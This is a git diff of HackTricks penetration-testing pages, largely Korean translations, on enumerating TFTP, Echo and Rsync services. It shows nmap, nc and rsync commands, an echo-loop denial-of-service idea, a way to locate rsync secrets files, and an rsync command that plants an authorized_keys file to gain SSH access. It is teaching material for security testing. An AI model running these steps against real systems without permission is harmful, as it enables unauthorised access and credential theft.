Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 제로에서 영웅까지 AWS 해킹 배우기</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
다른 방법으로 HackTricks를 지원하는 방법:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
- **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
- [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
|
||||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
|
||||||
- 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
|
||||||
- **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
# 기본 정보
|
|
||||||
|
|
||||||
**Trivial File Transfer Protocol (TFTP)**은 **인증이 필요하지 않은 파일 전송을 허용하는** **UDP 포트 69**에서 사용되는 간단한 프로토콜입니다. **RFC 1350**에서 강조되었으며, 그 간단함으로 인해 주요 보안 기능이 부족하여 공개 인터넷에서는 제한적으로 사용됩니다. 그러나 **TFTP**는 **VoIP 핸드셋**과 같은 장치에 **구성 파일** 및 **ROM 이미지**를 효율적으로 배포하기 위해 대규모 내부 네트워크에서 널리 사용됩니다.
|
# Basic Information
|
||||||
|
|
||||||
**할 일**: Bittorrent-tracker가 무엇인지에 대한 정보 제공 (Shodan은 이 포트를 해당 이름으로 식별). 이에 대해 더 많은 정보를 가지고 있다면 [**HackTricks 텔레그램 그룹**](https://t.me/peass) (또는 [PEASS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)의 github 이슈)에서 알려주세요.
|
**Trivial File Transfer Protocol (TFTP)**는 **UDP 포트 69**에서 사용되는 간단한 프로토콜로, 인증 없이 파일 전송을 허용합니다. **RFC 1350**에 강조되어 있으며, 그 단순성으로 인해 주요 보안 기능이 부족하여 공용 인터넷에서의 사용이 제한적입니다. 그러나 **TFTP**는 **VoIP 핸드셋**과 같은 장치에 **구성 파일** 및 **ROM 이미지**를 배포하는 데 효율적이기 때문에 대규모 내부 네트워크에서 광범위하게 사용됩니다.
|
||||||
|
|
||||||
|
**TODO**: Bittorrent-tracker에 대한 정보를 제공하십시오 (Shodan이 이 포트를 해당 이름으로 식별합니다). 이에 대한 추가 정보가 있으면 [**HackTricks 텔레그램 그룹**](https://t.me/peass) 또는 [PEASS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)에서 GitHub 이슈로 알려주십시오.
|
||||||
|
|
||||||
**기본 포트:** 69/UDP
|
**기본 포트:** 69/UDP
|
||||||
```
|
```
|
||||||
PORT STATE SERVICE REASON
|
PORT STATE SERVICE REASON
|
||||||
69/udp open tftp script-set
|
69/udp open tftp script-set
|
||||||
```
|
```
|
||||||
# 열거
|
# Enumeration
|
||||||
|
|
||||||
TFTP는 디렉토리 목록을 제공하지 않으므로 `nmap`의 `tftp-enum` 스크립트는 기본 경로를 무차별 대입할 것입니다.
|
TFTP는 디렉토리 목록을 제공하지 않으므로 `nmap`의 스크립트 `tftp-enum`은 기본 경로를 무작위로 시도합니다.
|
||||||
```bash
|
```bash
|
||||||
nmap -n -Pn -sU -p69 -sV --script tftp-enum <IP>
|
nmap -n -Pn -sU -p69 -sV --script tftp-enum <IP>
|
||||||
```
|
```
|
||||||
|
@ -48,7 +50,7 @@ client.upload("filename to upload", "/local/path/file", timeout=5)
|
||||||
```
|
```
|
||||||
## Shodan
|
## Shodan
|
||||||
|
|
||||||
* `포트:69`
|
* `port:69`
|
||||||
|
|
||||||
|
|
||||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
@ -56,16 +58,17 @@ client.upload("filename to upload", "/local/path/file", timeout=5)
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>HackTricks 지원하기</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
|
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||||
* **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks를 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
|
||||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)이나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를 팔로우하세요.**
|
|
||||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 해킹 요령을 공유하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,29 +1,31 @@
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 처음부터 전문가까지 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **회사 광고를 HackTricks에서 보거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
|
||||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
|
||||||
* **해킹 트릭을 공유하려면 PR을 제출하여** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소를 확인하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
**Try Hard Security Group**
|
**Try Hard Security Group**
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
***
|
***
|
||||||
|
|
||||||
|
|
||||||
# 기본 정보
|
# 기본 정보
|
||||||
|
|
||||||
이 호스트에서 echo 서비스가 실행 중입니다. echo 서비스는 테스트 및 측정 목적으로 의도되었으며 TCP 및 UDP 프로토콜에서 수신 대기할 수 있습니다. 서버는 받은 데이터를 수정하지 않고 다시 보냅니다.\
|
이 호스트에서 에코 서비스가 실행되고 있습니다. 에코 서비스는 테스트 및 측정 목적으로 설계되었으며 TCP 및 UDP 프로토콜 모두에서 수신 대기할 수 있습니다. 서버는 수신한 데이터를 수정 없이 다시 전송합니다.\
|
||||||
**동일한 또는 다른 기기의 echo 서비스에 echo 서비스를 연결하여 서비스 거부 공격을 유발할 수 있습니다**. 생성된 패킷 수가 지나치게 많기 때문에 영향을 받는 기기는 효과적으로 서비스에서 제외될 수 있습니다.\
|
**동일한 또는 다른 머신의 에코 서비스에 연결하여 서비스 거부를 유발할 수 있습니다**. 과도하게 높은 패킷 수로 인해 영향을 받는 머신은 효과적으로 서비스에서 제외될 수 있습니다.\
|
||||||
정보 출처: [https://www.acunetix.com/vulnerabilities/web/echo-service-running/](https://www.acunetix.com/vulnerabilities/web/echo-service-running/)
|
정보 출처: [https://www.acunetix.com/vulnerabilities/web/echo-service-running/](https://www.acunetix.com/vulnerabilities/web/echo-service-running/)
|
||||||
|
|
||||||
**기본 포트:** 7/tcp/udp
|
**기본 포트:** 7/tcp/udp
|
||||||
|
@ -32,7 +34,7 @@ PORT STATE SERVICE
|
||||||
7/udp open echo
|
7/udp open echo
|
||||||
7/tcp open echo
|
7/tcp open echo
|
||||||
```
|
```
|
||||||
## Echo 서비스 연락 (UDP)
|
## Contact Echo 서비스 (UDP)
|
||||||
```bash
|
```bash
|
||||||
nc -uvn <IP> 7
|
nc -uvn <IP> 7
|
||||||
Hello echo #This is wat you send
|
Hello echo #This is wat you send
|
||||||
|
@ -42,29 +44,30 @@ Hello echo #This is the response
|
||||||
|
|
||||||
* `port:7 echo`
|
* `port:7 echo`
|
||||||
|
|
||||||
## 참고 자료
|
## References
|
||||||
|
|
||||||
[Wikipedia echo](http://en.wikipedia.org/wiki/ECHO\_protocol)
|
[Wikipedia echo](http://en.wikipedia.org/wiki/ECHO\_protocol)
|
||||||
|
|
||||||
[CA-1996-01 UDP Port Denial-of-Service Attack](http://www.cert.org/advisories/CA-1996-01.html)
|
[CA-1996-01 UDP 포트 서비스 거부 공격](http://www.cert.org/advisories/CA-1996-01.html)
|
||||||
|
|
||||||
|
|
||||||
**Try Hard Security Group**
|
**Try Hard Security Group**
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>와 함께 **제로부터 영웅이 되기까지 AWS 해킹 배우기**</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **회사를 HackTricks에서 광고하거나 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
|
||||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
|
||||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,24 +1,25 @@
|
||||||
# 873 - Pentesting Rsync
|
# 873 - Pentesting Rsync
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>에서 **제로에서 영웅까지 AWS 해킹을 배워보세요**!</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
|
||||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
## **기본 정보**
|
## **기본 정보**
|
||||||
|
|
||||||
[wikipedia](https://en.wikipedia.org/wiki/Rsync)에서 가져온 내용:
|
From [wikipedia](https://en.wikipedia.org/wiki/Rsync):
|
||||||
|
|
||||||
> **rsync**는 컴퓨터와 외부 하드 드라이브 간 및 네트워크 컴퓨터 간의 [파일 전송](https://en.wikipedia.org/wiki/File\_transfer) 및 [동기화](https://en.wikipedia.org/wiki/File\_synchronization)를 효율적으로 수행하기 위한 유틸리티입니다. 이는 파일의 [수정 시간](https://en.wikipedia.org/wiki/Timestamping\_\(computing\))과 크기를 비교하여 작동합니다.[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite\_note-man\_page-3) 이는 [Unix-like](https://en.wikipedia.org/wiki/Unix-like) [운영 체제](https://en.wikipedia.org/wiki/Operating\_system)에서 일반적으로 사용됩니다. rsync 알고리즘은 [델타 인코딩](https://en.wikipedia.org/wiki/Delta\_encoding)의 한 유형이며, 네트워크 사용량을 최소화하기 위해 사용됩니다. 추가적인 [데이터 압축](https://en.wikipedia.org/wiki/Data\_compression)을 위해 [Zlib](https://en.wikipedia.org/wiki/Zlib)을 사용할 수 있으며,[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite\_note-man\_page-3) 보안을 위해 [SSH](https://en.wikipedia.org/wiki/Secure\_Shell) 또는 [stunnel](https://en.wikipedia.org/wiki/Stunnel)을 사용할 수 있습니다.
|
> **rsync**는 컴퓨터와 외장 하드 드라이브 간, 그리고 [네트워크화된](https://en.wikipedia.org/wiki/Computer\_network) [컴퓨터](https://en.wikipedia.org/wiki/Computer) 간에 [파일](https://en.wikipedia.org/wiki/Computer\_file)을 효율적으로 [전송](https://en.wikipedia.org/wiki/File\_transfer)하고 [동기화](https://en.wikipedia.org/wiki/File\_synchronization)하는 유틸리티로, [수정 시간](https://en.wikipedia.org/wiki/Timestamping\_\(computing\))과 파일 크기를 비교하여 작동합니다.[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite\_note-man\_page-3) 일반적으로 [유닉스 계열](https://en.wikipedia.org/wiki/Unix-like) [운영 체제](https://en.wikipedia.org/wiki/Operating\_system)에서 발견됩니다. rsync 알고리즘은 [델타 인코딩](https://en.wikipedia.org/wiki/Delta\_encoding)의 일종이며, 네트워크 사용을 최소화하는 데 사용됩니다. [Zlib](https://en.wikipedia.org/wiki/Zlib)는 추가적인 [데이터 압축](https://en.wikipedia.org/wiki/Data\_compression)에 사용될 수 있으며,[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite\_note-man\_page-3) [SSH](https://en.wikipedia.org/wiki/Secure\_Shell) 또는 [stunnel](https://en.wikipedia.org/wiki/Stunnel)은 보안을 위해 사용될 수 있습니다.
|
||||||
|
|
||||||
**기본 포트:** 873
|
**기본 포트:** 873
|
||||||
```
|
```
|
||||||
|
@ -28,26 +29,6 @@ PORT STATE SERVICE REASON
|
||||||
## 열거
|
## 열거
|
||||||
|
|
||||||
### 배너 및 수동 통신
|
### 배너 및 수동 통신
|
||||||
|
|
||||||
rsync is a utility for efficiently transferring and synchronizing files between a computer and an external hard drive or networked computer. It uses the rsync protocol, which operates over TCP port 873.
|
|
||||||
|
|
||||||
To gather information about an rsync service, you can start by checking the banner. This can be done using the `nc` command:
|
|
||||||
|
|
||||||
```plaintext
|
|
||||||
$ nc <target_ip> 873
|
|
||||||
```
|
|
||||||
|
|
||||||
If the rsync service is running and accessible, you will receive a response containing the rsync version and some additional information.
|
|
||||||
|
|
||||||
Another way to gather information is by manually communicating with the rsync service. You can establish a connection using the `rsync` command:
|
|
||||||
|
|
||||||
```plaintext
|
|
||||||
$ rsync <target_ip>::
|
|
||||||
```
|
|
||||||
|
|
||||||
This will display a list of available modules on the target system. Modules are directories or file collections that can be synchronized using rsync.
|
|
||||||
|
|
||||||
By gathering information about the rsync service, you can gain insights into the system's configuration and potentially identify any vulnerabilities or misconfigurations that can be exploited during a penetration test.
|
|
||||||
```bash
|
```bash
|
||||||
nc -vn 127.0.0.1 873
|
nc -vn 127.0.0.1 873
|
||||||
(UNKNOWN) [127.0.0.1] 873 (rsync) open
|
(UNKNOWN) [127.0.0.1] 873 (rsync) open
|
||||||
|
@ -69,9 +50,9 @@ nc -vn 127.0.0.1 873
|
||||||
raidroot
|
raidroot
|
||||||
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g <--- This means you need the password
|
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g <--- This means you need the password
|
||||||
```
|
```
|
||||||
### **공유 폴더 열거**
|
### **공유 폴더 열거하기**
|
||||||
|
|
||||||
**Rsync 모듈**은 **비밀번호로 보호**될 수 있는 **디렉토리 공유**로 인식됩니다. 사용 가능한 모듈을 식별하고 비밀번호가 필요한지 확인하기 위해 다음 명령을 사용합니다:
|
**Rsync 모듈**은 **비밀번호로 보호될 수 있는 디렉토리 공유**로 인식됩니다. 사용 가능한 모듈을 식별하고 비밀번호가 필요한지 확인하기 위해 다음 명령어를 사용합니다:
|
||||||
```bash
|
```bash
|
||||||
nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
|
nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
|
||||||
msf> use auxiliary/scanner/rsync/modules_list
|
msf> use auxiliary/scanner/rsync/modules_list
|
||||||
|
@ -79,13 +60,13 @@ msf> use auxiliary/scanner/rsync/modules_list
|
||||||
# Example with IPv6 and alternate port
|
# Example with IPv6 and alternate port
|
||||||
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730
|
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730
|
||||||
```
|
```
|
||||||
일부 공유가 목록에 표시되지 않을 수 있으며, 이는 숨겨져 있을 수 있습니다. 또한, 특정 **자격 증명**에 대한 액세스가 제한될 수 있으며, 이는 **"액세스 거부"** 메시지로 표시됩니다.
|
일부 공유가 목록에 나타나지 않을 수 있으며, 이는 숨겨져 있을 수 있습니다. 또한, 일부 공유에 접근하는 것은 특정 **자격 증명**에 제한될 수 있으며, 이는 **"Access Denied"** 메시지로 표시됩니다.
|
||||||
|
|
||||||
### [**무차별 대입 공격**](../generic-methodologies-and-resources/brute-force.md#rsync)
|
### [**Brute Force**](../generic-methodologies-and-resources/brute-force.md#rsync)
|
||||||
|
|
||||||
### 수동 Rsync 사용
|
### 수동 Rsync 사용
|
||||||
|
|
||||||
**모듈 목록**을 얻은 후, 인증이 필요한지 여부에 따라 작업이 달라집니다. 인증 없이 공유 폴더에서 파일을 **목록화**하고 **로컬 디렉토리로 복사**하는 것은 다음과 같이 수행됩니다:
|
**모듈 목록**을 얻은 후, 작업은 인증이 필요한지 여부에 따라 달라집니다. 인증 없이 **목록**을 작성하고 공유 폴더에서 로컬 디렉토리로 파일을 **복사**하는 것은 다음을 통해 수행됩니다:
|
||||||
```bash
|
```bash
|
||||||
# Listing a shared folder
|
# Listing a shared folder
|
||||||
rsync -av --list-only rsync://192.168.0.123/shared_name
|
rsync -av --list-only rsync://192.168.0.123/shared_name
|
||||||
|
@ -93,14 +74,14 @@ rsync -av --list-only rsync://192.168.0.123/shared_name
|
||||||
# Copying files from a shared folder
|
# Copying files from a shared folder
|
||||||
rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared
|
rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared
|
||||||
```
|
```
|
||||||
이 프로세스는 파일을 재귀적으로 전송하여 속성과 권한을 보존합니다.
|
이 프로세스는 **재귀적으로 파일을 전송**하며, 파일의 속성과 권한을 유지합니다.
|
||||||
|
|
||||||
자격 증명을 사용하여 공유 폴더에서 목록을 보고 다운로드하는 방법은 다음과 같습니다. 비밀번호 프롬프트가 나타납니다.
|
**자격 증명**을 사용하면 공유 폴더에서 목록을 작성하고 다운로드할 수 있으며, 이때 비밀번호 입력 프롬프트가 나타납니다:
|
||||||
```bash
|
```bash
|
||||||
rsync -av --list-only rsync://username@192.168.0.123/shared_name
|
rsync -av --list-only rsync://username@192.168.0.123/shared_name
|
||||||
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared
|
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared
|
||||||
```
|
```
|
||||||
**콘텐츠를 업로드**하려면, 접근을 위한 _**authorized_keys**_ 파일과 같은 내용을 사용하세요:
|
To **upload content**, such as an _**authorized_keys**_ 파일에 대한 액세스를 위해, 사용하십시오:
|
||||||
```bash
|
```bash
|
||||||
rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh
|
rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh
|
||||||
```
|
```
|
||||||
|
@ -110,22 +91,23 @@ rsyncd 구성 파일을 찾으려면 다음을 실행하십시오:
|
||||||
```bash
|
```bash
|
||||||
find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)
|
find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)
|
||||||
```
|
```
|
||||||
이 파일에서는 _secrets 파일_ 매개변수가 rsyncd 인증을 위한 **사용자 이름과 비밀번호**를 포함하는 파일을 가리킬 수 있습니다.
|
이 파일 내에서 _secrets file_ 매개변수는 rsyncd 인증을 위한 **사용자 이름과 비밀번호**가 포함된 파일을 가리킬 수 있습니다.
|
||||||
|
|
||||||
|
|
||||||
## 참고 자료
|
## References
|
||||||
* [https://www.smeegesec.com/2016/12/pentesting-rsync.html](https://www.smeegesec.com/2016/12/pentesting-rsync.html)
|
* [https://www.smeegesec.com/2016/12/pentesting-rsync.html](https://www.smeegesec.com/2016/12/pentesting-rsync.html)
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
